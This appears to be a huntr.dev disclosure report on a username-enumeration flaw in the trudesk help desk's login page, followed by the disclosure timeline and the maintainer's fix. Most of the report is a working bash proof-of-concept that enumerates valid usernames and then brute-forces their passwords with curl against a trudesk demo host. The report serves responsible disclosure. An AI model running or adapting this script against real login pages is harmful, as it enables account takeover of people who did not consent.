Generation of Error Message Containing Sensitive Information in polonel/trudesk

Valid

Reported on

Dec 24th 2021


Description

When logging in, the login page will tell you whether or not a username exists which is a vulnerability since it can be paired with the lack of rate limitation when logging in in order to help an attacker find out which accounts exist & then brute force those accounts' login credentials.

If a username exists but the password is incorrect, the returned error will be "Incorrect Password".

If a username doesn't exist, the returned error will be "No User Found".

I've also attached a bash script in the PoC section which exploits this. It has the ability to read a username and password list file, then determine if the usernames from that list are valid accounts, and if they are, then it will brute force them with the passwords from the password list file. To use this bash script, change lines 35 & 38 to the locations of your username and password list files. You also must run this script with a valid session cookie which can be obtained by monitoring your network traffic while on TruDesk. I also have a video of this file being executed and the result but I am unsure how to attach it.

Proof of Concept

#!/bin/bash

# EXAMPLE USAGE: ./exploit.sh "connect.sid=s%3AG2fC1Xh913tYr8EIy7eQ-9Pzmer9tK5a.IQEiylh0iO7YfktF2w%2FrtQeSOrjti5Fqxqm7irmchIM; $trudesk%3Atimezone=America/New_York; io=Sh5HAkmzdq2z38vQAAe4; $trudesk%3Asidebar%3Aexpanded=true"

enumerateUsers() {
    cmd="curl -s -L 'https://docker.trudesk.io/login' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://docker.trudesk.io' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: https://docker.trudesk.io/' -H 'Cookie: $cookie' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-GPC: 1' -H 'TE: Trailers' --data-raw 'login-username=$username&login-password=$password'"
    result=$(eval "$cmd")
    # Checking to see if the result is "Incorrect Password", meaning the user exists but password is incorrect or if it's "No User Found", then the account doesn't exist
    if [[ $result == *"Incorrect Password."* ]]; then
        echo "[+] $username is a valid user!"
        validUsernames+=($username)
    elif [[ $result == *"No User Found"* ]]; then
        echo "[-] $username is an invalid user!"
    else
        echo "Cookie may be invalid!"
    fi
}

bruteforce() {
    cmd="curl -s 'https://docker.trudesk.io/login' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://docker.trudesk.io' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: https://docker.trudesk.io/' -H 'Cookie: $cookie' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-GPC: 1' -H 'TE: Trailers' --data-raw 'login-username=$username&login-password=$password'"
    result=$(eval "$cmd")
    # if we get a redirect to the dashboard URI, we're successfully logged in
    if [[ $result == *"/dashboard"* ]]; then
        echo "[+] $username:$password is valid!"
    else
        echo "[-] $username:$password is invalid!"
    fi
    
}

# You must supply a cookie as a command-line flag
cookie=$1
# If there were no supplied arguments (no supplied cookie), we exit
if [[ $# -lt 1 ]]; then
    echo "You must supply a valid session cookie!"
    exit
fi

# CHANGE THIS TO THE LOCATION OF YOUR USERNAME LIST FILE
usernameFile="users.txt"
usernameLines=$(cat $usernameFile)
# CHANGE THIS TO THE LOCATION OF YOUR PASSWORD LIST FILE
passwordFile="passes.txt"
passwordLines=$(cat $passwordFile)

# Enumerate usernames, add valid usernames to an array named 'validUsernames'
validUsernames=()
echo "Using cookie: $cookie"
for line in $usernameLines
do
    username=$line
    password="test"
    enumerateUsers
done

echo "List of valid usernames: ${validUsernames[*]}"

# Bruteforce accounts
# Loop through array of valid usernames & try each one with each password
echo "Using cookie: $cookie"
for username in $validUsernames
do
    for password in $passwordLines
    do
        # function that brute forces password
        bruteforce
    done
done

Impact

This vulnerability is capable of allowing an attacker to determine which user accounts exist, then more efficiently brute forcing their way into user accounts due to lack of rate limiting.

We are processing your report and will contact the polonel/trudesk team within 24 hours. 6 months ago
We have contacted a member of the polonel/trudesk team and are waiting to hear back 6 months ago
We have sent a follow up to the polonel/trudesk team. We will try again in 7 days. 6 months ago
We have sent a second follow up to the polonel/trudesk team. We will try again in 10 days. 6 months ago
Chris Brame validated this vulnerability 5 months ago
1d8 has been awarded the disclosure bounty
The fix bounty is now up for grabs
1d8
5 months ago

Researcher


@polonel thank you for validating this! I am unsure if you seen but there is also a stored cross-site scripting vulnerability which I discovered here: https://huntr.dev/bounties/fd86f1ff-d0a9-4932-8ec8-9b414356b155/

Chris Brame
a month ago

Maintainer


This issue has been fixed in version 1.2.2 and will be updated once the patch is deployed.

Chris Brame confirmed that a fix has been merged on 7f4eac a month ago
Chris Brame has been awarded the fix bounty
to join this conversation